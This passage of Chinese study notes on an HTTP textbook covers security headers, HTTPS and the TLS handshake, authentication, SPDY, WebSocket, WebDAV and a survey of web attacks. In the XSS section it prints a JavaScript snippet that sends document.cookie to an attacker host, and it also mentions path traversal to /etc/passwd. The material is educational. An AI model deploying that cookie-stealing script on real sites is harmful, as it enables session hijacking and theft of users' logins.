- SAMEORIGIN :仅同源域名下的页面(Top-level-browsingcontext)匹配时许可。(比如,当指定 http://hackr.jp/sample.html 页面为 SAMEORIGIN 时,那么 hackr.jp 上所有页面的 frame 都被 允许可加载该页面,而 example.com 等其他域名的页面就不行 了)
X-XSS-Protection
首部字段 X-XSS-Protection 属于 HTTP 响应首部,它是针对跨站脚本 攻击(XSS)的一种对策,用于控制浏览器 XSS 防护机制的开关。
首部字段 X-XSS-Protection 可指定的字段值如下。
- 0 :将 XSS 过滤设置成无效状态
- 1 :将 XSS 过滤设置成有效状态
DNT
DNT: 1
首部字段 DNT 属于 HTTP 请求首部,其中 DNT 是 Do Not Track 的简 称,意为拒绝个人信息被收集,是表示拒绝被精准广告追踪的一种方 法。
首部字段 DNT 可指定的字段值如下。
- 0 :同意被追踪
- 1 :拒绝被追踪
由于首部字段 DNT 的功能具备有效性,所以 Web 服务器需要对 DNT 做对应的支持。
P3P
首部字段 P3P 属于 HTTP 相应首部,通过利用 P3P(The Platform for Privacy Preferences,在线隐私偏好平台)技术,可以让 Web 网站上 的个人隐私变成一种仅供程序可理解的形式,以达到保护用户隐私的 目的。
第 7 章 确保 Web 安全的 HTTPS
HTTP 的缺点
到现在为止,我们已了解到 HTTP 具有相当优秀和方便的一面,然而 HTTP 并非只有好的一面,事物皆具两面性,它也是有不足之处的。
HTTP 主要有这些不足,例举如下。
- 通信使用明文(不加密),内容可能会被窃听
- 不验证通信方的身份,因此有可能遭遇伪装
- 无法证明报文的完整性,所以有可能已遭篡改
TCP/IP 是可能被窃听的网络
加密处理防止被窃听
通信的加密
HTTP 协议中没有加密机制,但可以通过和 SSL(Secure Socket Layer,安全套接层)或 TLS(Transport Layer Security,安全层传输协议)的组合使用, 加密 HTTP 的通信内容。
内容的加密
由于 HTTP 协议中 没有加密机制,那么就对 HTTP 协议传输的内容本身加密。即把 HTTP 报文里所含的内容进行加密处理。由于该方式不同于 SSL或 TLS 将整个通信线路加密 处理,所以内容仍有被篡改的风险。
不验证通信方的身份就可能遭遇伪装
HTTP 协议中的请求和响应不会对通信方进行确认。
任何人都可发起请求
HTTP 协议的实现本身非常简单,不论是谁发送过来的请求都会 返回响应,因此不确认通信方,会存在以下各种隐患。
- 无法确定请求发送至目标的 Web 服务器是否是按真实意 图返回响应的那台服务器。有可能是已伪装的 Web 服务 器。
- 无法确定响应返回到的客户端是否是按真实意图接收响 应的那个客户端。有可能是已伪装的客户端。
- 无法确定正在通信的对方是否具备访问权限。因为某些 Web 服务器上保存着重要的信息,只想发给特定用户通 信的权限。
- 无法判定请求是来自何方、出自谁手。
- 即使是无意义的请求也会照单全收。无法阻止海量请求 下的 DoS 攻击(Denial of Service,拒绝服务攻击)。
查明对手的证书
虽然使用 HTTP 协议无法确定通信方,但如果使用 SSL则可以。 SSL不仅提供加密处理,而且还使用了一种被称为证书的手段, 可用于确定方。

无法证明报文完整性,可能已遭篡改
接收到的内容可能有误
没有任何办法确认,发出的请求 / 响应和接收到的请 求 / 响应是前后相同的。
如何防止篡改
虽然有使用 HTTP 协议确定报文完整性的方法,但事实上并不便 捷、可靠。其中常用的是 MD5 和 SHA-1 等散列值校验的方法, 以及用来确认文件的数字签名方法。
为了有效防止这些弊端,有必要使用 HTTPS。SSL提供认证和加 密处理及摘要功能。仅靠 HTTP 确保完整性是非常困难的,因此通过和其他协议组合使用来实现这个目标。
HTTP+ 加密 + 认证 + 完整性保护 =HTTPS
HTTPS 是身披 SSL 外壳的 HTTP
HTTPS 并非是应用层的一种新协议。只是 HTTP 通信接口部分用 SSL(Secure Socket Layer)和 TLS(Transport Layer Security)协议代 替而已。

SSL是独立于 HTTP 的协议,所以不光是 HTTP 协议,其他运行在应 用层的 SMTP 和 Telnet 等协议均可配合 SSL协议使用。可以说 SSL是 当今世界上应用最为广泛的网络安全技术。
相互交换密钥的公开密钥加密技术
SSL采用一种 叫做公开密钥加密(Public-key cryptography)的加密处理方式。
使用两把密钥的公开密钥加密
公开密钥加密使用一对非对称的密钥。一把叫做私有密钥 (private key),另一把叫做公开密钥(public key)。顾名思 义,私有密钥不能让其他任何人知道,而公开密钥则可以随意发 布,任何人都可以获得。

证明公开密钥正确性的证书

可证明组织真实性的 EV SSL 证书
证书的一个作用是用来证明作为通信一方的服务器是否规范,另 外一个作用是可确认对方服务器背后运营的企业是否真实存在。
用以确认客户端的客户端证书
HTTPS 中还可以使用客户端证书。以客户端证书进行客户端认 证,证明服务器正在通信的对方始终是预料之内的客户端,其作 用跟服务器证书如出一辙。
HTTPS 的安全通信机制

步骤 1: 客户端通过发送 Client Hello 报文开始 SSL通信。报文中包 含客户端支持的 SSL的指定版本、加密组件(Cipher Suite)列表(所 使用的加密算法及密钥长度等)。
步骤 2: 服务器可进行 SSL通信时,会以 Server Hello 报文作为应答。和客户端一样,在报文中包含 SSL版本以及加密组件。服务器的加密组件内容是从接收到的客户端加密组件内筛选出来的。
步骤 3: 之后服务器发送 Certificate 报文。报文中包含公开密钥证 书。
步骤 4: 最后服务器发送 Server Hello Done 报文通知客户端,最初阶 段的 SSL握手协商部分结束。
步骤 5: SSL第一次握手结束之后,客户端以 Client Key Exchange 报 文作为回应。报文中包含通信加密中使用的一种被称为 Pre-master secret 的随机密码串。该报文已用步骤 3 中的公开密钥进行加密。
步骤 6: 接着客户端继续发送 Change Cipher Spec 报文。该报文会提 示服务器,在此报文之后的通信会采用 Pre-master secret 密钥加密。
步骤 7: 客户端发送 Finished 报文。该报文包含连接至今全部报文的 整体校验值。这次握手协商是否能够成功,要以服务器是否能够正确解密该报文作为判定标准。
步骤 8: 服务器同样发送 Change Cipher Spec 报文。
步骤 9: 服务器同样发送 Finished 报文。
步骤 10: 服务器和客户端的 Finished 报文交换完毕之后,SSL连接 就算建立完成。当然,通信会受到 SSL的保护。从此处开始进行应用层协议的通信,即发送 HTTP 请求。
步骤 11: 应用层协议通信,即发送 HTTP 响应。
步骤 12: 最后由客户端断开连接。断开连接时,发送 close_notify 报文。上图做了一些省略,这步之后再发送 TCP FIN 报文来关闭与 TCP 的通信。
在以上流程中,应用层发送数据时会附加一种叫做 MAC(Message Authentication Code)的报文摘要。MAC 能够查知报文是否遭到篡 改,从而保护报文的完整性。

SSL 和 TLS
HTTPS 使用 SSL(Secure Socket Layer) 和 TLS(Transport Layer Security)这两个协议。
SSL 速度慢吗
HTTPS 也存在一些问题,那就是当使用 SSL时,它的处理速度 会变慢。

SSL的慢分两种。一种是指通信慢。另一种是指由于大量消耗 CPU 及内存等资源,导致处理速度变慢。
为什么不一直使用 HTTPS
既然 HTTPS 那么安全可靠,那为何所有的 Web 网站不一直使用 HTTPS ?
其中一个原因是,因为与纯文本通信相比,加密通信会消耗更多的 CPU 及内存资源。如果每次通信都加密,会消耗相当多的资源,平 摊到一台计算机上时,能够处理的请求数量必定也会随之减少。
因此,如果是非敏感信息则使用 HTTP 通信,只有在包含个人信息 等敏感数据时,才利用 HTTPS 加密通信。
除此之外,想要节约购买证书的开销也是原因之一。
第 8 章 确认访问用户身份的认证
何为认证
- 核对的信息通常是指以下这些。
- 密码:只有本人才会知道的字符串信息。
- 动态令牌:仅限本人持有的设备内显示的一次性密码。
- 数字证书:仅限本人(终端)持有的信息。
- 生物认证:指纹和虹膜等本人的生理信息。
- IC 卡等:仅限本人持有的信息。
HTTP 使用的认证方式
HTTP/1.1 使用的认证方式如下所示。
- BASIC 认证(基本认证)
- DIGEST 认证(摘要认证)
- SSL 客户端认证
- FormBase 认证(基于表单认证)
BASIC 认证
BASIC 认证(基本认证)是从 HTTP/1.0 就定义的认证方式。

步骤 1: 当请求的资源需要 BASIC 认证时,服务器会随状态码 401 Authorization Required,返回带 WWW-Authenticate 首部字段的响应。 该字段内包含认证的方式(BASIC) 及 Request-URI 安全域字符串 (realm)。
步骤 2: 接收到状态码 401 的客户端为了通过 BASIC 认证,需要将用户 ID 及密码发送给服务器。发送的字符串内容是由用户 ID 和密码构成,两者中间以冒号(:)连接后,再经过 Base64 编码处理。
假设用户 ID 为 guest,密码是 guest,连接起来就会形成 guest:guest 这 样的字符串。然后经过 Base64 编码,最后的结果即是 Z3Vlc3Q6Z3Vlc3Q=。把这串字符串写入首部字段 Authorization 后, 发送请求。
当用户代理为浏览器时,用户仅需输入用户 ID 和密码即可,之后, 浏览器会自动完成到 Base64 编码的转换工作。
步骤 3: 接收到包含首部字段 Authorization 请求的服务器,会对认证 信息的正确性进行验证。如验证通过,则返回一条包含 Request-URI 资源的响应。
BASIC 认证虽然采用 Base64 编码方式,但这不是加密处理。不需要 任何附加信息即可对其解码。换言之,由于明文解码后就是用户 ID 和密码,在 HTTP 等非加密通信的线路上进行 BASIC 认证的过程 中,如果被人窃听,被盗的可能性极高。
BASIC 认证使用上不够便捷灵活,且达不到多数 Web 网站期望的安 全性等级,因此它并不常用。
DIGEST 认证
为弥补 BASIC 认证存在的弱点,从 HTTP/1.1 起就有了 DIGEST 认 证。 DIGEST 认证同样使用质询 / 响应的方式 (challenge/response),但不会像 BASIC 认证那样直接发送明文密 码。
因为发送给对方的只是响应摘要及由质询码产生的计算结果,所以比 起 BASIC 认证,密码泄露的可能性就降低了。

步骤 1: 请求需认证的资源时,服务器会随着状态码 401 Authorization Required,返回带 WWW-Authenticate 首部字段的响应。 该字段内包含质问响应方式认证所需的临时质询码(随机数, nonce)。
首部字段 WWW-Authenticate 内必须包含 realm 和 nonce 这两个字段的信息。客户端就是依靠向服务器回送这两个值进行认证的。
nonce 是一种每次随返回的 401 响应生成的任意随机字符串。该字符串通常推荐由 Base64 编码的十六进制数的组成形式,但实际内容依赖服务器的具体实现。
步骤 2: 接收到 401 状态码的客户端,返回的响应中包含 DIGEST 认 证必须的首部字段 Authorization 信息。
首部字段 Authorization 内必须包含 username、realm、nonce、uri 和 response 的字段信息。其中,realm 和 nonce 就是之前从服务器接收到 的响应中的字段。
username 是 realm 限定范围内可进行认证的用户名。
uri(digest-uri)即 Request-URI 的值,但考虑到经代理转发后 Request-URI 的值可能被修改,因此事先会复制一份副本保存在 uri 内。
response 也可叫做 Request-Digest,存放经过 MD5 运算后的密码字符 串,形成响应码。
步骤 3: 接收到包含首部字段 Authorization 请求的服务器,会确认认 证信息的正确性。认证通过后则返回包含 Request-URI 资源的响应。
并且这时会在首部字段 Authentication-Info 写入一些认证成功的相关信 息。
DIGEST 认证提供了高于 BASIC 认证的安全等级,但是和 HTTPS 的 客户端认证相比仍旧很弱。
SSL 客户端认证
SSL客户端认证是借由 HTTPS 的客户端证书完成认证的方式
SSL 客户端认证的认证步骤
为达到 SSL客户端认证的目的,需要事先将客户端证书分发给客户 端,且客户端必须安装此证书。
步骤 1: 接收到需要认证资源的请求,服务器会发送 Certificate Request 报文,要求客户端提供客户端证书。
步骤 2: 用户选择将发送的客户端证书后,客户端会把客户端证书信 息以 Client Certificate 报文方式发送给服务器。
步骤 3: 服务器验证客户端证书验证通过后方可领取证书内客户端的公开密钥,然后开始 HTTPS 加密通信。
SSL 客户端认证采用双因素认证
在多数情况下,SSL客户端认证不会仅依靠证书完成认证,一般会和 基于表单认证(稍后讲解)组合形成一种双因素认证(Two-factor authentication)来使用。
SSL 客户端认证必要的费用
使用 SSL客户端认证需要用到客户端证书。而客户端证书需要支付一 定费用才能使用。
基于表单认证
基于表单的认证方法并不是在 HTTP 协议中定义的。客户端会向服务 器上的 Web 应用程序发送登录信息(Credential),按登录信息的验 证结果认证。
认证多半为基于表单认证
由于使用上的便利性及安全性问题,HTTP 协议标准提供的 BASIC 认 证和 DIGEST 认证几乎不怎么使用。另外,SSL客户端认证虽然具有 高度的安全等级,但因为导入及维持费用等问题,还尚未普及。
Session 管理及 Cookie 应用
基于表单认证的标准规范尚未有定论,一般会使用 Cookie 来管理 Session(会话)。
无法实现状态管理,因此即使当该用户下一次 继续访问,也无法区分他与其他的用户。于是我们会使用 Cookie 来 管理 Session,以弥补 HTTP 协议中不存在的状态管理功能。

步骤 1: 客户端把用户 ID 和密码等登录信息放入报文的实体部分, 通常是以 POST 方法把请求发送给服务器。而这时,会使用 HTTPS 通信来进行 HTML表单画面的显示和用户输入数据的发送。
步骤 2: 服务器会发放用以识别用户的 Session ID。通过验证从客户 端发送过来的登录信息进行身份认证,然后把用户的认证状态与 Session ID 绑定后记录在服务器端。
向客户端返回响应时,会在首部字段 Set-Cookie 内写入 Session ID(如 PHPSESSID=028a8c…)。
步骤 3: 客户端接收到从服务器端发来的 Session ID 后,会将其作为 Cookie 保存在本地。下次向服务器发送请求时,浏览器会自动发送 Cookie,所以 Session ID 也随之发送到服务器。服务器端可通过验证 接收到的 Session ID 识别用户和其认证状态。
通常,一种安全的保存方法是,先利用给密码加盐(salt)1 的方式增 加额外信息,再使用散列(hash)函数计算出散列值后保存。但是我 们也经常看到直接保存明文密码的做法,而这样的做法具有导致密码 泄露的风险。
1 salt 其实就是由服务器随机生成的一个字符串,但是要保证长度足够长,并且是 真正随机生成的。然后把它和密码字符串相连接(前后都可以)生成散列值。当 两个用户使用了同一个密码时,由于随机生成的 salt 值不同,对应的散列值也将 是不同的。这样一来,很大程度上减少了密码特征,攻击者也就很难利用自己手 中的密码特征库进行破解。
第 9 章 基于 HTTP 的功能追加 协议
虽然 HTTP 协议既简单又简捷,但随着时代的发展,其功能使用上捉 襟见肘的疲态已经凸显。本章我们将讲解基于 HTTP 新增的功能的协议。
消除 HTTP 瓶颈的 SPDY
Google 在 2010 年发布了 SPDY(取自 SPeeDY,发音同 speedy),其 开发目标旨在解决 HTTP 的性能瓶颈,缩短 Web 页面的加载时间 (50%)。
HTTP 的瓶颈
使用 HTTP 协议探知服务器上是否有内容更新,就必须频繁地从客户端到服务器端进行确认。如果服务器上没有内容更新,那么就会产生 徒劳的通信。
Ajax 的解决方法
Ajax(Asynchronous JavaScript and XML, 异 步 JavaScript 与 XML技 术)是一种有效利用 JavaScript 和 DOM(Document Object Model,文 档对象模型)的操作,以达到局部 Web 页面替换加载的异步通信手 段。
Comet 的解决方法
一旦服务器端有内容更新了,Comet 不会让请求等待,而是直接给客 户端返回响应。
SPDY的目标
陆续出现的 Ajax 和 Comet 等提高易用性的技术,一定程度上使 HTTP 得到了改善,但 HTTP 协议本身的限制也令人有些束手无策。
SPDY的设计与功能
SPDY 没有完全改写 HTTP 协议,而是在 TCP/IP 的应用层与运输层之 间通过新加会话层的形式运作。同时,考虑到安全性问题,SPDY 规 定通信中使用 SSL。
SPDY 以会话层的形式加入,控制对数据的流动,但还是采用 HTTP 建立通信连接。因此,可照常使用 HTTP 的 GET 和 POST 等方 法、 Cookie 以及 HTTP 报文等。

使用 SPDY 后,HTTP 协议额外获得以下功能。
多路复用流
通过单一的 TCP 连接,可以无限制处理多个 HTTP 请求。所有请求 的处理都在一条 TCP 连接上完成,因此 TCP 的处理效率得到提高。
赋予请求优先级
SPDY 不仅可以无限制地并发处理请求,还可以给请求逐个分配优先 级顺序。这样主要是为了在发送多个请求时,解决因带宽低而导致响 应变慢的问题。
压缩 HTTP 首部
压缩 HTTP 请求和响应的首部。这样一来,通信产生的数据包数量和 发送的字节数就更少了。
推送功能
支持服务器主动向客户端推送数据的功能。这样,服务器可直接发送 数据,而不必等待客户端的请求。
服务器提示功能
服务器可以主动提示客户端请求所需的资源。
使用浏览器进行全双工通信的 WebSocket
利用 Ajax 和 Comet 技术进行通信可以提升 Web 的浏览速度。但问题 在于通信若使用 HTTP 协议,就无法彻底解决瓶颈问题。WebSocket 网络技术正是为解决这些问题而实现的一套新协议及 API。
WebSocket 的设计与功能
WebSocket,即 Web 浏览器与 Web 服务器之间全双工通信标准。
WebSocket 协议
一旦 Web 服务器与客户端之间建立起 WebSocket 协议的通信连接, 之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送 JSON、XML、HTML或图片等任意格式的数据。
列举一下 WebSocket 协议的主要特点。
推送功能
支持由服务器向客户端推送数据的推送功能。
减少通信量
只要建立起 WebSocket 连接,就希望一直保持连接状态
为了实现 WebSocket 通信,在 HTTP 连接建立之后,需要完成一 次“握手”(Handshaking)的步骤。



Web 服务器管理文件的 WebDAV
WebDAV(Web-based Distributed Authoring and Versioning,基于万维网 的分布式创作和版本控制)是一个可对 Web 服务器上的内容直接进 行文件复制、编辑等操作的分布式文件系统。它作为扩展 HTTP/1.1 的协议定义在 RFC4918。
除了创建、删除文件等基本功能,它还具备文件创建者管理、文件编 辑过程中禁止其他用户内容覆盖的加锁功能,以及对文件内容修改的 版本控制功能。

使用 HTTP/1.1 的 PUT 方法和 DELETE 方法,就可以对 Web 服务器 上的文件进行创建和删除操作。可是出于安全性及便捷性等考虑,一 般不使用。
扩展 HTTP/1.1 的 WebDAV

集合(Collection):是一种统一管理多个资源的概念。以集合为 单位可进行各种操作。也可实现类似集合的集合这样的叠加。
资源(Resource):把文件或集合称为资源。
属性(Property):定义资源的属性。定义以“名称 = 值”的格式执 行。
锁(Lock):把文件设置成无法编辑状态。多人同时编辑时,可 防止在同一时间进行内容写入。
WebDAV 内新增的方法及状态码
WebDAV 为实现远程文件管理,向 HTTP/1.1 中追加了以下这些方 法。
- PROPFIND :获取属性
- PROPPATCH :修改属性
- MKCOL :创建集合
- COPY :复制资源及属性
- MOVE :移动资源
- LOCK :资源加锁
- UNLOCK :资源解锁
为配合扩展的方法,状态码也随之扩展。
- 102 Processing :可正常处理请求,但目前是处理中状态
- 207 Multi-Status :存在多种状态
- 422 Unprocessible Entity :格式正确,内容有误
- 423 Locked :资源已被加锁
- 424 Failed Dependency :处理与某请求关联的请求失败,因此不再维持依赖关系
- 507 Insufficient Storage :保存空间不足



第 10 章 构建 Web 内容的技术
Web 页面几乎全由 HTML 构建
HTML(HyperText Markup Language,超文本标记语言)是为了发送 Web 上的超文本(Hypertext)而开发的标记语言。超文本是一种文档 系统,可将文档中任意位置的信息与其他信息(文本或图片等)建立 关联,即超链接文本。
平时我们浏览的 Web 页面几乎全是使用 HTML写成的。由 HTML构 成的文档经过浏览器的解析、渲染后,呈现出来的结果就是 Web 页 面。
Web 应用
Web 应用是指通过 Web 功能提供的应用程序。比如购物网站、网上 银行、SNS、BBS、搜索引擎和 e-learning 等。互联网(Internet)或企 业内网(Intranet)上遍布各式各样的 Web 应用。
原本应用 HTTP 协议的 Web 的机制就是对客户端发来的请求,返回 事前准备好的内容。可随着 Web 越来越普及,仅靠这样的做法已不 足以应对所有的需求,更需要引入由程序创建 HTML内容的做法。 类似这种由程序创建的内容称为动态内容,而事先准备好的内容称为 静态内容。Web 应用则作用于动态内容之上。
与 Web 服务器及程序协作的 CGI
CGI(Common Gateway Interface,通用网关接口)是指 Web 服务器在 接收到客户端发送过来的请求后转发给程序的一组机制。
使用 CGI 的程序叫做 CGI 程序,通常是用 Perl、PHP、Ruby 和 C 等 编程语言编写而成。
因 Java 而普及的 Servlet
Servlet 1 是一种能在服务器上创建动态内容的程序。Servlet 是用 Java 语言实现的一个接口,属于面向企业级 Java(JavaEE,Java Enterprise Edition)的一部分。
之前提及的 CGI,由于每次接到请求,程序都要跟着启动一次。因此 一旦访问量过大,Web 服务器要承担相当大的负载。而 Servlet 运行 在与 Web 服务器相同的进程中,因此受到的负载较小 2。Servlet 的运 行环境叫做 Web 容器或 Servlet 容器。
1 没有对应中文译名,全称是 Java Servlet。名称取自 Servlet=Server+Applet,表示 轻量服务程序。
2 Servlet 常驻内存,因此在每次请求时,可启动相对进程级别更为轻量的
Servlet,程序的执行效率从而变得更高。
Servlet 作为解决 CGI 问题的对抗技术 3,随 Java 一起得到了普及。
3 说对抗的原因在于,这个方向上已存在用 Perl 编写的 CGI,实现在 Apache HTTP Server 上内置 mod_php 模块后可运行 PHP 程序、微软主导的 ASP 等技术。
数据发布的格式及语言
XML(eXtensible Markup Language,可扩展标记语言)是一种可按应 用目标进行扩展的通用标记语言。旨在通过使用 XML,使互联网数 据共享变得更容易。
XML和 HTML都是从标准通用标记语言 SGML(Standard Generalized Markup Language)简化而成。与 HTML相比,它对数据的记录方式 做了特殊处理。
JavaScript 衍生的轻量级易用 JSON
JSON(JavaScript Object Notation)是一种以 JavaScript(ECMAScript)的对象表示法为基础的轻量级数据标记语 言。能够处理的数据类型有 false/null/true/ 对象 / 数组 / 数字 / 字符 串,这 7 种类型。
JSON 让数据更轻更纯粹,并且 JSON 的字符串形式可被 JavaScript 轻易地读入。当初配合 XML使用的 Ajax 技术也让 JSON 的应用变得 更为广泛。
第 11 章 Web 的攻击技术
针对 Web 的攻击技术
简单的 HTTP 协议本身并不存在安全性问题,因此协议本身几乎不会 成为攻击的对象。应用 HTTP 协议的服务器和客户端,以及运行在服 务器上的 Web 应用等资源才是攻击目标。

HTTP 不具备必要的安全功能
与最初的设计相比,现今的 Web 网站应用的 HTTP 协议的使用方式 已发生了翻天覆地的变化。几乎现今所有的 Web 网站都会使用会话 (session)管理、加密处理等安全性方面的功能,而 HTTP 协议内并 不具备这些功能。
在 HTTP 请求报文内加载攻击代码,就能发起对 Web 应用的攻击。 通过 URL查询字段或表单、HTTP 首部、Cookie 等途径把攻击代码传入,若这时 Web 应用存在安全漏洞,那内部信息就会遭到窃取,或 被攻击者拿到管理权限。
针对 Web 应用的攻击模式
对 Web 应用的攻击模式有以下两种。
- 主动攻击
- 被动攻击
以服务器为目标的主动攻击
主动攻击(active attack)是指攻击者通过直接访问 Web 应用, 把攻击代码传入的攻击模式。
主动攻击模式里具有代表性的攻击是 SQL注入攻击和 OS 命令注 入攻击。

以服务器为目标的被动攻击
被动攻击(passive attack)是指利用圈套策略执行攻击代码的攻 击模式。在被动攻击过程中,攻击者不直接对目标 Web 应用访 问发起攻击。
步骤 1: 攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发 送已嵌入攻击代码的 HTTP 请求。
步骤 2: 当用户不知不觉中招之后,用户的浏览器或邮件客户端 就会触发这个陷阱。
步骤 3: 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发 送给作为攻击目标的 Web 应用,运行攻击代码。
步骤 4: 执行完攻击代码,存在安全漏洞的 Web 应用会成为攻 击者的跳板,可能导致用户所持的 Cookie 等个人信息被窃取, 登录状态中的用户权限遭恶意滥用等后果。


因输出值转义不完全引发的安全漏洞
实施 Web 应用的安全对策可大致分为以下两部分。
- 客户端的验证
- Web 应用端(服务器端)的验证
- 输入值验证
- 输出值转义
多数情况下采用 JavaScript 在客户端验证数据。可是在客户端允许篡 改数据或关闭 JavaScript,不适合将 JavaScript 验证作为安全的防范 对策。
跨站脚本攻击
跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML标签或 JavaScript 进 行的一种攻击。
对用户 Cookie 的窃取攻击
除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够 以跨站脚本攻击的方式,窃取到用户的 Cookie 信息。
该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用 JavaScript 编写的代码。
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段 JavaScript 程序,即可访问到该 Web 应用所处域名下的 Cookie 信 息。然 后这些信息会发送至攻击者的 Web 网站 (http://hackr.jp/),记录在他的登录日志中。结果,攻击者就这 样窃取到用户的 Cookie 信息了。
SQL 注入攻击
SQL注入(SQLInjection)是指针对 Web 应用使用的数据库,通 过运行非法的 SQL而产生的攻击。该安全隐患有可能引发极大 的威胁,有时会直接导致个人信息及机密信息的泄露。
SQL注入攻击有可能会造成以下等影响。
- 非法查看或篡改数据库内的数据
- 规避认证
- 执行和数据库服务器业务关联的程序等
OS 命令注入攻击
OS 命令注入攻击(OS Command Injection)是指通过 Web 应用,执行 非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地 方就有存在被攻击的风险。
OS 命令注入攻击可以向 Shell 发送命令,让 Windows 或 Linux 操作系 统的命令行启动程序。也就是说,通过 OS 注入攻击可执行 OS 上安 装着的各种程序。
HTTP 首部注入攻击
HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应 首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。
向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTP Response Splitting Attack)。
HTTP 首部注入攻击有可能会造成以下一些影响。
- 设置任何 Cookie 信息
- 重定向至任意 URL
- 显示任意的主体(HTTP 响应截断攻击)
邮件首部注入攻击
邮件首部注入(Mail Header Injection)是指 Web 应用中的邮件发送功 能,攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的 攻击。利用存在安全漏洞的 Web 网站,可对任意邮件地址发送广告 邮件或病毒邮件。
目录遍历攻击
目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录, 通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有 时也称为路径遍历(Path Traversal)攻击。
通过 Web 应用对文件处理操作时,在由外部指定文件名的处理存在 疏漏的情况下,用户可使用 …/ 等相对路径定位到 /etc/passed 等绝对 路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这 样一来,就有可能非法浏览、篡改或删除 Web 服务器上的文件。
远程文件包含漏洞
远程文件包含漏洞(Remote File Inclusion)是指当部分脚本内容需要 从其他文件读入时,攻击者利用指定外部服务器的 URL充当依赖文 件,让脚本读取之后,就可运行任意脚本的一种攻击。
这主要是 PHP 存在的安全漏洞,对 PHP 的 include 或 require 来说, 这是一种可通过设定,指定外部服务器的 URL作为文件名的功能。 但是,该功能太危险,PHP5.2.0 之后默认设定此功能无效。
因设置或设计上的缺陷引发的安全漏 洞
强制浏览
强制浏览(Forced Browsing)安全漏洞是指,从安置在 Web 服务器 的公开目录下的文件中,浏览那些原本非自愿公开的文件。
强制浏览有可能会造成以下一些影响。
- 泄露顾客的个人信息等重要情报
- 泄露原本需要具有访问权限的用户才可查阅的信息内容
- 泄露未外连到外界的文件
对那些原本不愿公开的文件,为了保证安全会隐蔽其 URL。
不正确的错误消息处理
不正确的错误消息处理(Error Handling Vulnerability)的安全漏洞是 指,Web 应用的错误信息内包含对攻击者有用的信息。
- Web 应用抛出的错误消息
- 数据库等系统抛出的错误消息
开放重定向
开放重定向(Open Redirect)是一种对指定的任意 URL作重定向跳转 的功能。而于此功能相关联的安全漏洞是指,假如指定的重定向 URL 到某个具有恶意的 Web 网站,那么用户就会被诱导至那个 Web 网 站。
因会话管理疏忽引发的安全漏洞
会话管理是用来管理用户状态的必备功能,但是如果在会话管理上有 所疏忽,就会导致用户的认证状态被窃取等后果。
会话劫持
会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会 话 ID,并非法使用此会话 ID 伪装成用户,达到攻击的目的。

具备认证功能的 Web 应用,使用会话 ID 的会话管理机制,作为管理 认证状态的主流方式。会话 ID 中记录客户端的 Cookie 等信息,服务 器端将会话 ID 与认证状态进行一对一匹配管理。
下面列举了几种攻击者可获得会话 ID 的途径。
- 通过非正规的生成方法推测会话 ID
- 通过窃听或 XSS 攻击盗取会话 ID
- 通过会话固定攻击(Session Fixation)强行获取会话 ID
会话固定攻击
对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,会话固定攻 击(Session Fixation)攻击会强制用户使用攻击者指定的会话 ID,属 于被动攻击。
跨站点请求伪造
跨站点请求伪造(Cross-Site Request Forgeries,CSRF)攻击是指攻击 者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信 息或设定信息等某些状态更新,属于被动攻击。
跨站点请求伪造有可能会造成以下等影响。
- 利用已通过认证的用户权限更新设定信息等
- 利用已通过认证的用户权限购买商品
- 利用已通过认证的用户权限在留言板上发表言论
其他安全漏洞
密码破解
密码破解攻击(Password Cracking)即算出密码,突破认证。攻击不 仅限于 Web 应用,还包括其他的系统(如 FTP 或 SSH 等),本节将 会讲解对具备认证功能的 Web 应用进行的密码破解。
密码破解有以下两种手段。
- 通过网络的密码试错
- 对已加密密码的破解(指攻击者入侵系统,已获得加密或散 列处理的密码数据的情况)
通过网络进行密码试错
穷举法
穷举法(Brute-force Attack,又称暴力破解法)是指对所有密钥 集合构成的密钥空间(Keyspace)进行穷举。即,用所有可行的 候选密码对目标的密码系统试错,用以突破验证的一种攻击。
字典攻击
字典攻击是指利用事先收集好的候选密码(经过各种组合方式后 存入字典),枚举字典中的密码,尝试通过认证的一种攻击手 法。
与穷举法相比,由于需要尝试的候选密码较少,意味着攻击耗费 的时间比较短。但是,如果字典中没有正确的密码,那就无法破 解成功。因此攻击的成败取决于字典的内容。
对已加密密码的破解

从加密过的数据中导出明文通常有以下几种方法。
- 通过穷举法·字典攻击进行类推
- 彩虹表
- 拿到密钥
- 加密算法的漏洞
通过穷举法·字典攻击进行类推
针对密码使用散列函数进行加密处理的情况,采用和穷举法或字 典攻击相同的手法,尝试调用相同的散列函数加密候选密码,然 后把计算出的散列值与目标散列值匹配,类推出密码。
彩虹表
彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成 的一张数据库表,是一种通过事先制作庞大的彩虹表,可在穷举 法 • 字典攻击等实际破解过程中缩短消耗时间的技巧。从彩虹表 内搜索散列值就可以推导出对应的明文密码。
拿到密钥
使用共享密钥加密方式对密码数据进行加密处理的情况下,如果 能通过某种手段拿到加密使用的密钥,也就可以对密码数据解密 了。
加密算法的漏洞
考虑到加密算法本身可能存在的漏洞,利用该漏洞尝试解密也是 一种可行的方法。但是要找到那些已广泛使用的加密算法的漏 洞,又谈何容易,因此困难极大,不易成功。
点击劫持
点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖 在 Web 页面之上。然后诱使用户在不知情的情况下,点击那个链接 访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing)。
DoS 攻击
